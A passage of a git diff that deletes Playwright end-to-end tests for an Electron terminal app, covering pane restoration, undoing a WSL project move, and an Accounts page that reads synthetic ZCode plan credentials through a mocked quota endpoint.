const livePtys = (): Promise => - page.evaluate((id) => { - const state = window.__store!.getState() - return (state.tabsByWorktree[id] ?? []).reduce( - (n, tab) => n + (state.ptyIdsByTabId[tab.id]?.length ?? 0), - 0 - ) - }, worktreeId) - expect(await livePtys()).toBe(0) - // ...and opening it wakes both panes from their checkpoints. - await page.evaluate((id) => window.__store!.getState().setActiveWorktree(id), worktreeId) - await ensureTerminalVisible(page) - await waitForPaneCount(page, 2, 60_000) - const readPanes = (): Promise => - page.evaluate(() => { - const state = window.__store!.getState() - const manager = state.activeTabId ? window.__paneManagers?.get(state.activeTabId) : null - return (manager?.getPanes?.() ?? []).map((pane) => pane.serializeAddon?.serialize?.() ?? '') - }) - await expect - .poll( - async () => - (await readPanes()).map((text) => - ['UNDOA', 'UNDOB'].filter((marker) => text.includes(`${marker}-${LINES}`)).join() - ), - { timeout: 60_000, message: 'a woken pane never showed its history' } - ) - .toEqual(['UNDOA', 'UNDOB']) - for (const [index, text] of (await readPanes()).entries()) { - const marker = ['UNDOA', 'UNDOB'][index] - console.log( - `[restore-lifecycle] undo ${marker}: first=${count(text, `${marker}-0001`)} last=${count(text, `${marker}-${LINES}`)}` - ) - expect.soft(count(text, `${marker}-${LINES}`)).toBe(1) - } - // Live panes: what is typed in each now runs there. - const ptyIds = await page.evaluate(() => { - const state = window.__store!.getState() - return state.activeTabId ? (state.ptyIdsByTabId[state.activeTabId] ?? []) : [] - }) - expect(ptyIds).toHaveLength(2) - for (const [index, ptyId] of ptyIds.entries()) { - await execInTerminal(page, ptyId, `echo "ALIVE-${index}-$((40 + 2))"`) - } - await expect - .poll(async () => (await readPanes()).filter((text) => /ALIVE-\d-42/.test(text)).length, { - timeout: 30_000, - message: 'a woken pane did not run what was typed' - }) - .toBe(2) - // Pane A's agent resumed there, once; pane B started no agent. - const panes = await readPanes() - expect.soft(count(panes[0] ?? '', UNDO_AGENT_SESSION)).toBeGreaterThan(0) - expect.soft(count(panes[1] ?? '', UNDO_AGENT_SESSION)).toBe(0) - const resumeTabs = await page.evaluate( - (id) => (window.__store!.getState().tabsByWorktree[id] ?? []).length, - worktreeId - ) - expect.soft(resumeTabs).toBe(1) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/wsl-move-undo-host-copy.spec.ts b/tests/e2e/wsl-move-undo-host-copy.spec.ts deleted file mode 100644 index bb478fb6b8d..00000000000 --- a/tests/e2e/wsl-move-undo-host-copy.spec.ts +++ /dev/null @@ -1,138 +0,0 @@ -/** - * "Use on this computer again" while the host still runs its copy of the project: undo must stop the host's terminals for the project before the panes wake here, so the - * project's terminal runs in exactly one place. The host is a windowless paired host holding the - * project under the ids the move gave it; the desktop is a paired client the move journaled. - * - * Run: - * pnpm exec playwright test tests/e2e/wsl-move-undo-host-copy.spec.ts \ - * --config tests/playwright.config.ts --project electron-headless --workers=1 - */ -import { mkdtempSync, readFileSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { execInTerminal, waitForActivePanePtyId, waitForTerminalOutput } from './helpers/terminal' -import { createMovedRepo } from './helpers/wsl-moved-host-profile' -import { wslMoveCutoverFixture } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { seedWslMoveCutover } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-journal-seeding' -import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' -import '../../src/shared/remote-runtime/host-store/runtime-environment-store-file' -import { getEnvironmentStorePath } from '../../src/shared/remote-runtime/host-store/runtime-environment-store-records' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' - -const GATE = { [WSL_HOSTS_INTERNAL_GATE_ENV]: '1' } - -test("undo stops the host's copy first, so the project's terminal runs in one place", async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - test.skip(process.platform === 'win32', 'POSIX shell commands') - // A move, a host terminal start and the undo's reload, each booting a full app. - test.setTimeout(900_000) - const root = mkdtempSync(path.join(os.tmpdir(), 'orca-undo-host-copy-')) - const repoPath = realpathSync(createMovedRepo(root)) - const host = await launchHeadlessPairedRuntimeHost({ - pinnedServePort: true, - withoutBrowser: true, - // Stands in for the distro's orcad, the only host that serves moved panes' history. - extraEnv: { ORCA_E2E_WSL_MOVE_DESTINATION: '1' } - }) - const session = createRestartSession(testInfo, GATE) - let launched: Awaited> | undefined - try { - launched = await session.launch() - await waitForSessionReady(launched.page) - // This desktop's project before the move: a terminal with history, paused by the move. - const worktreeId = await attachRepoAndOpenTerminal(launched.page, repoPath) - await ensureTerminalVisible(launched.page) - const ptyId = await waitForActivePanePtyId(launched.page) - await execInTerminal(launched.page, ptyId, 'M=UNDO; seq -f "${M}H-%04g" 1 50') - await waitForTerminalOutput(launched.page, 'UNDOH-0050', 30_000) - const slept = await launched.page.evaluate( - (id) => - window.api.runtime.call({ method: 'worktree.sleep', params: { worktree: `id:${id}` } }), - worktreeId - ) - expect(slept.ok).toBe(true) - const repoId = worktreeId.split('::')[0] - // The WSL host this desktop moved the project to, paired as the move pairs it. - const environmentId = await launched.page.evaluate( - async (pairingCode) => - (await window.api.runtimeEnvironments.addFromPairingCode({ name: 'Ubuntu', pairingCode })) - .environment.id, - host.offer.pairingUrl - ) - await session.close(launched.app) - launched = undefined - - // The host holds the project under the ids the move gave it, its copy of the pane running. - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: repoPath, - kind: 'git' - }) - await host.restartServeProcess({ - betweenProcesses: () => - mutateStoppedProfileState(host.userDataDir, (state) => { - Object.assign( - state, - JSON.parse(JSON.stringify(state).replaceAll(added.result.repo.id, repoId)) - ) - }) - }) - await host.client.call('session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: 'sleep 600', - activate: false, - select: false, - navigation: 'caller' - }) - const hostRunning = async (): Promise => - ( - await host.client.call('terminal.list', { - worktree: `id:${worktreeId}` - }) - ).result.terminals.filter((terminal) => terminal.connected).length - await expect.poll(hostRunning, { timeout: 30_000 }).toBe(1) - - // The move names its host by the WSL environment id; the paired host stands in under it. - const move = wslMoveCutoverFixture('move-1', 'destination-committed', {}, { repoIds: [repoId] }) - const storePath = getEnvironmentStorePath(session.userDataDir) - writeFileSync( - storePath, - readFileSync(storePath, 'utf8').replaceAll(environmentId, move.destinationEnvironmentId) - ) - seedWslMoveCutover(session.userDataDir, move) - launched = await session.launch() - const { page } = launched - await waitForSessionReady(page) - const entry = page.getByTestId('wsl-moved-project') - await expect(entry).toBeVisible({ timeout: 30_000 }) - const reloaded = page.waitForEvent('load', { timeout: 120_000 }) - await entry.getByTestId('wsl-moved-use-here').click() - await page.getByRole('dialog').getByRole('button', { name: 'Use on this computer' }).click() - await reloaded - await waitForSessionReady(page) - - // The host's copy stopped before anything woke here, and the project is back on this computer - // with its pane slept: opening it (the lifecycle e2e) starts the only copy that runs. - expect(await hostRunning()).toBe(0) - await expect - .poll(() => - page.evaluate( - (id) => window.__store!.getState().repos.some((repo) => repo.id === id), - repoId - ) - ) - .toBe(true) - await expect(page.getByTestId('wsl-moved-project')).toHaveCount(0) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - await host.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/zcode-plan-credentials.spec.ts b/tests/e2e/zcode-plan-credentials.spec.ts deleted file mode 100644 index 19162bb0ab7..00000000000 --- a/tests/e2e/zcode-plan-credentials.spec.ts +++ /dev/null @@ -1,93 +0,0 @@ -import { existsSync, mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' - -function selectPlan(home: string, site: 'zai' | 'bigmodel'): void { - const root = path.join(home, '.zcode', 'v2') - mkdirSync(root, { recursive: true }) - const providerId = `account:${site}-individual-coding-plan` - writeFileSync( - path.join(root, 'provider_config.json'), - JSON.stringify({ - schemaVersion: 1, - config: { - providerOrder: [], - providerConfigRules: { providerRules: [] }, - modelConfigRules: { providerModelRules: [], manualProviderModelRules: [] }, - defaultModelSelection: { providerId, modelId: 'GLM-test' } - } - }) - ) - writeFileSync( - path.join(root, 'credentials.json'), - JSON.stringify({ - [`account-provider:${providerId}:identity`]: 'synthetic-account', - [`account-provider:coding-plan:${providerId}:account:synthetic-account:api-key`]: `synthetic-${site}-key` - }) - ) -} - -test('Accounts recognizes the selected CLI plan and preserves a separately saved quota key', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - const home = await electronApp.evaluate(({ app }) => app.getPath('home')) - await electronApp.evaluate(() => { - const realFetch = globalThis.fetch - globalThis.fetch = async (input, init) => { - const url = typeof input === 'string' ? input : input instanceof URL ? input.href : input.url - if (url.endsWith('/api/monitor/usage/quota/limit')) { - const key = new Headers(init?.headers).get('Authorization') - const percentage = - key === 'synthetic-zai-key' ? 12 : key === 'synthetic-bigmodel-key' ? 67 : 33 - return new Response( - JSON.stringify({ - success: true, - data: { limits: [{ type: 'TOKENS_LIMIT', unit: 3, number: 5, percentage }] } - }), - { status: 200, headers: { 'Content-Type': 'application/json' } } - ) - } - return realFetch(input, init) - } - }) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsPage() - state?.openSettingsTarget({ pane: 'accounts', repoId: null, sectionId: 'accounts-zcode' }) - }) - const section = orcaPage.locator('#accounts-zcode') - await expect(section).toBeVisible({ timeout: 30_000 }) - await expect(section.getByText('No GLM Coding Plan linked', { exact: true })).toBeVisible() - await section.screenshot({ path: testInfo.outputPath('01-no-cli-plan.png') }) - - selectPlan(home, 'zai') - await orcaPage.evaluate(() => window.__store?.getState().refreshRateLimits()) - await expect(section.getByText('Using the ZCode CLI sign-in', { exact: true })).toBeVisible({ - timeout: 30_000 - }) - await expect(section.getByText('12%', { exact: true })).toBeVisible() - await section.screenshot({ path: testInfo.outputPath('02-cli-plan.png') }) - - selectPlan(home, 'bigmodel') - await orcaPage.evaluate(() => window.__store?.getState().refreshRateLimits()) - await expect(section.getByText('67%', { exact: true })).toBeVisible({ timeout: 30_000 }) - await expect(section.getByText('12%', { exact: true })).toHaveCount(0) - await section.screenshot({ path: testInfo.outputPath('03-selected-account.png') }) - - await section.getByPlaceholder('Paste your GLM Coding Plan API key').fill('synthetic-saved-key') - await section.getByRole('button', { name: 'Save', exact: true }).click() - await expect(section.getByText(/API key saved ·/)).toBeVisible({ timeout: 15_000 }) - await expect(section.getByText('33%', { exact: true })).toBeVisible({ timeout: 30_000 }) - const savedPath = path.join(home, '.orca', 'zcode-plan-api-key.enc') - expect(existsSync(savedPath)).toBe(true) - await section.screenshot({ path: testInfo.outputPath('04-saved-key-priority.png') }) - await section.getByRole('button', { name: 'Forget key', exact: true }).click() - await expect(section.getByText('Using the ZCode CLI sign-in', { exact: true })).toBeVisible({ - timeout: 15_000 - }) - await expect(section.getByText('67%', { exact: true })).toBeVisible({ timeout: 30_000 }) - expect(existsSync(savedPath)).toBe(false) -})